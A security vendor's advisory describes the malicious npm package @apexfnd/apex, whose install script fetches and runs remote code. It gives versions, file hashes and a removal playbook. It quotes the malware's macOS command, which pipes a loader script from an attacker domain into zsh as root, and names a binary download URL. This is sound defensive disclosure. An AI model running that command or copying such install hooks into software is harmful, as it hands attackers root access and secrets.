NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

@apexfnd/apexnpm

Advisory published Updated

@apexfnd/apex is a confirmed malicious npm package (MAL-2026-11121) that executes malicious code on install (malicious versions 1.0.0, 1.0.1, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @apexfnd/apex (npm)

MAL-2026-11121
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @apexfnd/apex

What this malware does

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

Malicious versions

4 flagged
1.0.01.0.11.0.31.0.4

Indicators of compromise (SHA-256)

8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1
a36d1bb6b7f3f846668a106c514c55789cd9b94500ad04d579dc5fa2621c438c
3db51d0dadd3b16a7fafd6059f176c5804cf716b771c0d3b3d1073e0653ec41b
d0e3f3f7e061602f0908c3e70b635296a021e4ae625ca45b01177f6a49698e0e

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for @apexfnd/apex (4 malicious versions).

  2. If you installed it — respond

    Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If @apexfnd/apex was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @apexfnd/apex on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010912IN-MAL-2026-010914IN-MAL-2026-014885IN-MAL-2026-014887

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @apexfnd/apex-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@apexfnd/apex (npm) malicious package — MAL-2026-11121 | O3 Security